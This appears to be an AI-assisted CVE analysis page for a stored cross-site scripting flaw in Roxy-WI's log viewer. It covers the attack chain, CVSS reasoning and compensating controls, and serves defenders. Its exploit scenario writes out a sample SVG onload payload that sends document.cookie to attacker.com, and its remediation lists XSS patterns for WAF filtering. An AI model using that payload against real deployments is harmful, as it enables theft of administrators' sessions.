Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted HTTP request with XSS payload to public load balancer
-
DeliveryPayload written verbatim to HAProxy/Nginx access log
-
ExploitAdmin opens Roxy-WI log viewer
-
ExecutionBackend wrap_line/highlight_word builds unescaped HTML
-
PersistjQuery .html()/.append() renders payload in admin browser
-
ImpactAttacker achieves script execution in admin session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The injection phase requires no authentication and no special conditions - any network client that can send an HTTP request to the public load balancer (HAProxy or Nginx) managed by Roxy-WI can write a payload into the access log; CVSS PR:N confirms no privileges are needed for this step. The execution phase requires that a Roxy-WI administrator with access to the log viewer opens the affected log view in their browser (CVSS UI:R); exploitation cannot occur without this administrator action. Key limiting factors: (1) the Roxy-WI log viewer must be in use - environments that never open the log viewer feature are not at risk of XSS execution even if logs are poisoned; (2) the administrator's browser session must be active against the Roxy-WI instance when they view the poisoned log; (3) any HTTP reverse proxy or WAF sitting in front of the load balancer that strips or encodes special characters in request headers/URIs would impede but not reliably prevent log injection. The attack is not limited to specific HAProxy or Nginx configurations - any deployment where Roxy-WI renders access logs is vulnerable. |
| Impact | The CVSS 3.1 score of 6.1 (Medium) is derived from AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The network attack vector with no privileges required (PR:N) and low attack complexity (AC:L) mean that any unauthenticated internet user who can reach the load balancer's public interface can inject the initial payload - a very low barrier. The changed scope (S:C) reflects that exploitation crosses a security boundary: the attacker's web request influences the admin's browser session in Roxy-WI. The primary constraint is UI:R: the attack is not self-executing; an administrator must manually open the log viewer. This elevates the attack from trivially dangerous to opportunistically dangerous - in environments where admins routinely check logs (common operational practice), exploitation becomes likely over time. No EPSS score was provided in the input data, so probability quantification is unavailable. The vulnerability is not listed in CISA KEV and no POC code has been identified, suggesting no confirmed active exploitation at time of analysis. Despite the moderate CVSS score, the real-world risk is elevated for any internet-exposed deployment: the injection vector (public-facing LB) is unrestricted, the target (admin session) provides high-value access, and no patch is currently available - leaving defenders with compensating controls only. |
| Exploit ScenarioDerived | An external attacker sends a crafted HTTP GET request to the public-facing HAProxy or Nginx load balancer with an XSS payload embedded in the User-Agent or request URI (e.g., GET /<svg/onload=fetch('https://attacker.com/?c='+document.cookie)> HTTP/1.1), which is recorded verbatim in the server's access log. When a Roxy-WI administrator later opens the log viewer in their browser, the backend's wrap_line or highlight_word function embeds the unescaped log entry as raw HTML, and jQuery's .html() renders and executes the SVG payload in the admin's browser session - enabling session token theft, credential harvesting, or further actions within the Roxy-WI management interface. No public POC has been identified at time of analysis, but the attack technique is well-understood and straightforward to reproduce from the advisory description alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 10, 2026
Stored cross-site scripting in Roxy-WI 8.2.6.4 and prior allows any unauthenticated remote attacker who can send HTTP requests to a managed HAProxy or Nginx load balancer to inject malicious payloads into server access logs, which then execute in the browser of any Roxy-WI administrator who opens the log viewer. The vulnerability stems from unsanitized HTML concatenation in the Python backend combined with unsafe jQuery .html()/.append() rendering on the frontend - a classic stored XSS with a changed scope (S:C) because the attacker's input, written via the load balancer, achieves code execution in the privileged admin web UI context. No publicly available patches exist at time of analysis; no public exploit code or CISA KEV listing has been identified.
RemediationAI
No vendor-released patch has been identified at time of analysis; the GitHub advisory (https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-28m4-mmr2-83p6) explicitly states no publicly available patch exists as of publication. Organizations should monitor the Roxy-WI GitHub repository for a fix and upgrade immediately upon release. In the interim, apply the following specific compensating controls: first, restrict access to the Roxy-WI web interface to trusted internal networks or VPN-only access using firewall rules or a reverse proxy with IP allowlisting - this does not prevent log injection but prevents the injected payload from reaching an admin browser over an untrusted path; second, disable or restrict the log viewer feature within Roxy-WI if the application permits role-based feature restriction, directing administrators to review raw log files on the server via SSH instead, which avoids the vulnerable HTML rendering path; third, implement a web application firewall (WAF) rule that strips or encodes common XSS patterns (e.g., <svg, onerror=, onload=) in HTTP request fields (URI, User-Agent, Referer) before they reach the load balancer - note that this is an incomplete control as WAF bypass techniques exist and it does not address the root HTML injection flaw. Each workaround has trade-offs: IP restriction may block legitimate remote administration; disabling the log viewer reduces operational visibility; WAF filtering can be bypassed and may break benign requests with special characters.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Roxy-WI is a Python-based web management interface for HAProxy, Nginx, Apache, and Keepalived. The vulnerable code exists in two functions - wrap_line (app/modules/common/common.py lines 181-186) and highlight_word (app/modules/common/common.py lines 188-192) - which construct HTML output by raw string concatenation without applying any HTML entity encoding or sanitization. This backend output is then consumed by the frontend (app/static/js/script.js, log-viewer code paths) using jQuery's .html(data) and .append(data) methods, both of which parse and render HTML tags rather than treating the content as plain text. Because HAProxy and Nginx access logs include attacker-controlled fields such as request URI, User-Agent, and Referer headers, an adversary can write an SVG-based XSS payload (e.g., <svg/onload=fetch(...)>) directly into the log file. CWE-79 (Improper Neutralization of Input During Web Page Generation) captures the root cause: untrusted data flows from an external source through the log file into the HTML rendering layer without escaping at any point. The CPE string cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:* confirms the affected product family spans all platform variants of the application.
Know when Roxy Wi gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionNVD
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, wrap_line (app/modules/common/common.py:181-186) and highlight_word (app/modules/common/common.py:188-192) build raw HTML by string concatenation with no escaping. The frontend (app/static/js/script.js, log-viewer paths) uses .html(data) / .append(data) to inject the response body. Anyone able to write a line into a managed HAProxy/Nginx access log (i.e. anyone who can send an HTTP request to the public LB) can land an <svg/onload=…> payload that executes when a Roxy-WI admin opens the log viewer. At time of publication, there are no publicly available patches.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
Roxy-WI is a Web interface for managing HAProxy, Nginx and Keepalived servers. Rated critical severity (CVSS 9.8), this
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated high severity (CVSS 8.8), t
Authenticated command injection in Roxy-WI versions prior to 8.2.8.2 enables attackers to execute arbitrary system comma
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
hap-wi/roxy-wi is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated medium severity (CVS
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated low-privilege users (role ≤ 3) to injec
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled cont
Privilege escalation and cross-tenant compromise in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - i
EUVD-2026-36041
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB